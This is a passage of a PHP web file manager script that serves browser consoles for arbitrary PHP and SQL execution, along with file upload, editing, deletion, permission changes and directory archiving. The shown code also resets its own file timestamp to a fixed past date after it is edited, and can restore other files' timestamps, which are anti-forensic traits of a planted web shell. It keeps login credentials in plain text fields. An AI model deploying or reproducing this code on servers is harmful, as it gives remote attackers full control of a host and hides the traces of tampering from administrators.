HTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");

}
<?=fm_home_style()?>
.img {
	  background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
         
}

@media screen and (max-width:720px){

  table{display:block;}
       
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
        
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}

	  #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	  #header_table table td {display:inline;float:left;}
           
}
            
</style>

</head>
<body>

<?php

$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
       
	  $res = empty($_POST['sql']) ? '' : $_POST['sql'];
	  $res_lng = 'sql';
        
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
            
	  $res = empty($_POST['php']) ? '' : $_POST['php'];

	  $res_lng = 'php';
          
} 
            
if (isset($_GET['fm_settings'])) {

	  echo ' 

<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
            
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
       
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
            
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
       
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
            
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>

<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>
<table>

<form method="post" action="">
            
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
           
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
        
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
       
</form>
            
</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {
         
	  die($proxy_form);
} elseif (isset($res_lng)) {	  

?>

<table class="whole">

<tr>
    <th><?=__('File manager').' - '.$path_share?></th>

</tr>
<tr>
           
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	  if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	  else echo '</h2></td><td>'.fm_run_input('sql');
        
	  ?></td></tr></table></td>

</tr>
          
<tr>
           
    <td class="row1">
          
	  	  <a href="<?=$url_inc.'&path=' . $path_share;?>"><?=__('Back')?></a>
	  	  <form action="" method="POST" name="console">

	  	  <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

	  	  <input type="reset" value="<?=__('Reset')?>">

	  	  <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php

$str_tmpl = $res_lng.'_templates';
           
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
          
if (!empty($tmpl)){
       
	  $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	  $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	  $select .= '<option value="-1">' . __('Select') . "</option>\n";

	  foreach ($tmpl as $key=>$value){

	  	  $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
        
	  }

	  $select .= "</select>\n";
        
	  echo $select;
           
}

?>

	  	  </form>
	  </td>
        
</tr>
</table>

<?php

	  if (!empty($res)) {
        
	  	  $fun='fm_'.$res_lng;
	  	  echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
          
	  }
          
} elseif (!empty($_REQUEST['edit'])){

	  if(!empty($_REQUEST['save'])) {
            
	  	  $fn = $path_share . $_REQUEST['edit'];
          
	  	  $filemtime = filemtime($fn);
	      if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');

	  	  else $msg .= __('Error occurred');
	  	  if ($_GET['edit']==basename(__FILE__)) {
       
	  	  	  touch(__FILE__,1415116371);
         
	  	  } else {

	  	  	  if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
	  	  }

	  }
    $oldcontent = @file_get_contents($path_share . $_REQUEST['edit']);

    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path_share;
    $backlink = $url_inc . '&path=' . $path_share;

?>

<table border='0' cellspacing='0' cellpadding='1' width="100%">
         
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path_share.$_REQUEST['edit']?></th>
</tr>

<tr>
    <td class="row1">
        
        <?=$msg?>

	  </td>

</tr>
         
<tr>

    <td class="row1">

        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	  </td>
</tr>

<tr>

    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">

            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
         
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">

        </form>
    </td>
         
</tr>

</table>
            
<?php

echo $auth['script'];
          
} elseif(!empty($_REQUEST['rights'])){

	  if(!empty($_REQUEST['save'])) {
	      if(fm_chmod($path_share . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

	  	  $msg .= (__('File updated')); 
	  	  else $msg .= (__('Error occurred'));
	  }
	  clearstatcache();

    $oldrights = fm_rights_string($path_share . $_REQUEST['rights'], true);

    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path_share;
    $backlink = $url_inc . '&path=' . $path_share;

?>
<table class="whole">
<tr>

    <th><?=__('File manager').' - '.$path_share?></th>
          
</tr>
            
<tr>

    <td class="row1">

        <?=$msg?>

	  </td>
         
</tr>

<tr>

    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	  </td>
</tr>

<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">

           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

        <?php if (is_dir($path_share.$_REQUEST['rights'])) { ?>

            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">

        </form>

    </td>
</tr>

</table>
           
<?php

} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	  if(!empty($_REQUEST['save'])) {
        
	      rename($path_share . $_REQUEST['rename'], $path_share . $_REQUEST['newname']);
        
	  	  $msg .= (__('File updated'));

	  	  $_REQUEST['rename'] = $_REQUEST['newname'];

	  }

	  clearstatcache();
            
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path_share;
    $backlink = $url_inc . '&path=' . $path_share;



?>

<table class="whole">

<tr>
            
    <th><?=__('File manager').' - '.$path_share?></th>

</tr>

<tr>
    <td class="row1">
        <?=$msg?>
	  </td>
</tr>

<tr>

    <td class="row1">

        <a href="<?=$backlink?>"><?=__('Back')?></a>
            
	  </td>

</tr>
          
<tr>
    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">
            
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
           
            <input type="submit" name="save" value="<?=__('Submit')?>">

        </form>

    </td>

</tr>

</table>

<?php
            
} else {

//Let's rock!
        
    $msg = '';
         
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){

            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path_share . $_FILES['upload']['name'])){

                $msg .= __('Error occurred');

            } else {

	  	  	  	  $msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
           
	  	  	  }

        }

    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

        if(!fm_del_dateien(($path_share . $_REQUEST['delete']), true)) {
           
            $msg .= __('Error occurred');

        } else {
	  	  	  $msg .= __('Deleted').' '.$_REQUEST['delete'];
         
	  	  }

	  } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path_share . $_REQUEST['dirname'],0777)) {

            $msg .= __('Error occurred');

        } else {
	  	  	  $msg .= __('Created').' '.$_REQUEST['dirname'];

	  	  }
          
    } elseif(!empty($_POST['search_recursive'])) {

	  	  ini_set('max_execution_time', '0');
        
	  	  $search_data =  find_text_in_dateien($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

	  	  if(!empty($search_data)) {
	  	  	  $msg .= __('Found in dateien').' ('.count($search_data).'):<br>';

	  	  	  foreach ($search_data as $filename) {
	  	  	  	  $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

	  	  	  }

	  	  } else {
         
	  	  	  $msg .= __('Nothing founded');

	  	  }	  
	  } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
          
        if(!$fp=@fopen($path_share . $_REQUEST['filename'],"w")) {

            $msg .= __('Error occurred');

        } else {

	  	  	  fclose($fp);

	  	  	  $msg .= __('Created').' '.$_REQUEST['filename'];
            
	  	  }

    } elseif (isset($_GET['zip'])) {

	  	  $source = base64_decode($_GET['zip']);
	  	  $destination = basename($source).'.zip';
          
	  	  set_time_limit(0);

	  	  $phar = new PharData($destination);
         
	  	  $phar->buildFromDirectory($source);
	  	  if (is_file($destination))
	  	  $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
       
	  	  '.&nbsp;'.fm_link('download',$path_share.$destination,__('Download'),__('Download').' '. $destination)

	  	  .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path_share.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

	  	  else $msg .= __('Error occurred').': '.__('no dateien');

	  } elseif (isset($_GET['gz'])) {
	  	  $source = base64_decode($_GET['gz']);
            
	  	  $archive = $source.'.tar';

	  	  $destination = basename($source).'.tar';

	  	  if (is_file($archive)) unlink($archive);

	  	  if (is_file($archive.'.gz')) unlink($archive.'.gz');
	  	  clearstatcache();

	  	  set_time_limit(0);
         
	  	  //die();

	  	  $phar = new PharData($destination);
       
	  	  $phar->buildFromDirectory($source);

	  	  $phar->compress(Phar::GZ,'.tar.gz');
	  	  unset($phar);
          
	  	  if (is_file($archive)) {

	  	  	  if (is_file($archive.'.gz')) {

	  	  	  	  unlink($archive); 

	  	  	  	  $destination .= '.gz';
            
	  	  	  }
          

	  	  	  $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
         
	  	  	  '.&nbsp;'.fm_link('download',$path_share.$destination,__('Download'),__('Download').' '. $destination)
	  	  	  .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path_share.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
	  	  } else $msg .= __('Error occurred').': '.__('no dateien');

	  } elseif (isset($_GET['decompress'])) {

	  	  // $source = base64_decode($_GET['decompress']);
        
	  	  // $destination = basename($source);

	  	  // $ext = end(explode(".", $destination));
	  	  // if ($ext=='zip' OR $ext=='gz') {
           
	  	  	  // $phar = new PharData($source);
            
	  	  	  // $phar->decompress();
            
	  	  	  // $base_file = str_replace('.'.$ext,'',$destination);

	  	  	  // $ext = end(explode(".", $base_file));

	  	  	  // if ($ext=='tar'){

	  	  	  	  // $phar = new PharData($base_file);

	  	  	  	  // $phar->extractTo(dir($source));
	  	  	  // }
	  	  // } 

	  	  // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	  } elseif (isset($_GET['gzfile'])) {
           
	  	  $source = base64_decode($_GET['gzfile']);
	  	  $archive = $source.'.tar';

	  	  $destination = basename($source).'.tar';
            
	  	  if (is_file($archive)) unlink($archive);

	  	  if (is_file($archive.'.gz')) unlink($archive.'.gz');
            
	  	  set_time_limit(0);
	  	  //echo $destination;

	  	  $ext_arr = explode('.',basename($source));
	  	  if (isset($ext_arr[1])) {
       
	  	  	  unset($ext_arr[0]);

	  	  	  $ext=implode('.',$ext_arr);
           
	  	  } 
        
	  	  $phar = new PharData($destination);
          
	  	  $phar->addFile($source);
	  	  $phar->compress(Phar::GZ,$ext.'.tar.gz');

	  	  unset($phar);
          
	  	  if (is_file($archive)) {
	  	  	  if (is_file($archive.'.gz')) {
	  	  	  	  unlink($archive); 
	  	  	  	  $destination .= '.gz';

	  	  	  }
          
	  	  	  $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
	  	  	  '.&nbsp;'.fm_link('download',$path_share.$destination,__('Download'),__('Download').' '. $destination)

	  	  	  .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path_share.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
	  	  } else $msg .= __('Error occurred').': '.__('no dateien');

	  }
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path_share)?' - '.$path_share:'')?></th>

</tr>
<?php if(!empty($msg)){ ?>

<tr>

	  <td colspan="2" class="row2"><?=$msg?></td>
        
</tr>

<?php } ?>

<tr>
    <td class="row2">

	  	  <table>
       
	  	  	  <tr>
            
	  	  	  <td>
	  	  	  	  <?=fm_home()?>
	  	  	  </td>
	  	  	  <td>
	  	  	  <?php if(!empty($fm_config['make_directory'])) { ?>
        
	  	  	  	  <form method="post" action="<?=$url_inc?>">
	  	  	  	  <input type="hidden" name="path" value="<?=$path_share?>" />
            
	  	  	  	  <input type="text" name="dirname" size="15">

	  	  	  	  <input type="submit" name="mkdir" value="<?=__('Make directory')?>">

	  	  	  	  </form>

	  	  	  <?php } ?>
	  	  	  </td>

	  	  	  <td>

	  	  	  <?php if(!empty($fm_config['new_file'])) { ?>

	  	  	  	  <form method="post" action="<?=$url_inc?>">

	  	  	  	  <input type="hidden" name="path"     value="<?=$path_share?>" />

	  	  	  	  <input type="text"   name="filename" size="15">
	  	  	  	  <input type="submit" name="mkfile"   value="<?=__('New file')?>">
	  	  	  	  </form>
           
	  	  	  <?php } ?>

	  	  	  </td>

	  	  	  <td>

	  	  	  	  <form  method="post" action="<?=$url_inc?>" style="display:inline">
           
	  	  	  	  <input type="hidden" name="path" value="<?=$path_share?>" />
	  	  	  	  <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
	  	  	  	  <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

	  	  	  	  <input type="submit" name="search" value="<?=__('Search')?>">

	  	  	  	  </form>
            
	  	  	  </td>
            
	  	  	  <td>
        
	  	  	  <?=fm_run_input('php')?>

	  	  	  </td>
            
	  	  	  <td>
	  	  	  <?=fm_run_input('sql')?>
         
	  	  	  </td>

	  	  	  </tr>
	  	  </table>

    </td>

    <td class="row3">

	  	  <table>

	  	  <tr>

	  	  <td>

	  	  <?php if (!empty($fm_config['upload_file'])) { ?>

	  	  	  <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
	  	  	  <input type="hidden" name="path" value="<?=$path_share?>" />

	  	  	  <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
	  	  	  <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

	  	  	  <input type="submit" name="test" value="<?=__('Upload')?>" />
	  	  	  </form>

	  	  <?php } ?>
            
	  	  </td>
            
	  	  <td>
           
	  	  <?php if ($auth['authorize']) { ?>
	  	  	  <form action="" method="post">&nbsp;&nbsp;&nbsp;
         
	  	  	  <input name="quit" type="hidden" value="1">
          
	  	  	  <?=__('Hello')?>, <?=$auth['login']?>

	  	  	  <input type="submit" value="<?=__('Quit')?>">

	  	  	  </form>

	  	  <?php } ?>

	  	  </td>

	  	  <td>
	  	  <?=fm_lang_form($language)?>

	  	  </td>
	  	  <tr>

	  	  </table>

    </td>
       
</tr>
           
</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
           
<thead>

<tr> 

    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>

    <th style="white-space:nowrap"> <?=__('Date')?> </th>

    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
          
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>
<tbody>

<?php
       
$elements = fm_scan_dir($path_share, '', 'all', true);

$dirs = array();

$dateien = array();
foreach ($elements as $file){

    if(@is_dir($path_share . $file)){
        $dirs[] = $file;

    } else {

        $dateien[] = $file;
         
    }

}
       
natsort($dirs); natsort($dateien);
$elements = array_merge($dirs, $dateien);



foreach ($elements as $file){

    $filename = $path_share . $file;
    $filedata = @stat($filename);

    if(@is_dir($filename)){

	  	  $filedata[7] = '';
        
	  	  if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path_share.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
	  	  $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
           
        $style = 'row2';

	  	   if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path_share  . '\'"'; else $alert = '';

    } else {

	  	  $link = 
	  	  	  $fm_config['show_img']&&@getimagesize($filename) 

	  	  	  ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
	  	  	  . fm_img_link($filename)

	  	  	  .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

	  	  	  : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path_share. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

	  	  $e_arr = explode(".", $file);

	  	  $ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

	  	  $arlink = in_array($ext,array('zip','gz','tar')) 
	  	  ? ''
          
	  	  : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
           
        $style = 'row1';
            
	  	  $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path_share  . '\'"';

    }

    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path_share . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path_share . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>
<tr class="<?=$style?>"> 

    <td><?=$link?></td>

    <td><?=$filedata[7]?></td>
         
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
       
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>

    <td><?=$renamelink?></td>

    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
          
<?php
    }
}
           
?>
</tbody>
</table>
<div class="row3"><?php
       
	  $mtime = explode(' ', microtime()); 

	  $totaltime = $mtime[0] + $mtime[1] - $starttime; 

	  echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	  if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	  if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	  if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	  if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	  if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	  if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
           
	  if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	  ?>
</div>

<script type="text/javascript">

function download_xls(filename, text) {
        
	  var element = document.createElement('a');

	  element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	  element.setAttribute('download', filename);
          
	  element.style.display = 'none';
       
	  document.body.appendChild(element);

	  element.click();

	  document.body.removeChild(element);
}


        
function base64_encode(m) {

	  for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
	  	  c = m.charCodeAt(l);
          
	  	  if (128 > c) d = 1;

	  	  else
           
	  	  	  for (d = 2; c >= 2 << 5 * d;) ++d;

	  	  for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
          
	  }

	  b && (g += k[f << 6 - b]);
            
	  return g
           
}



var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',

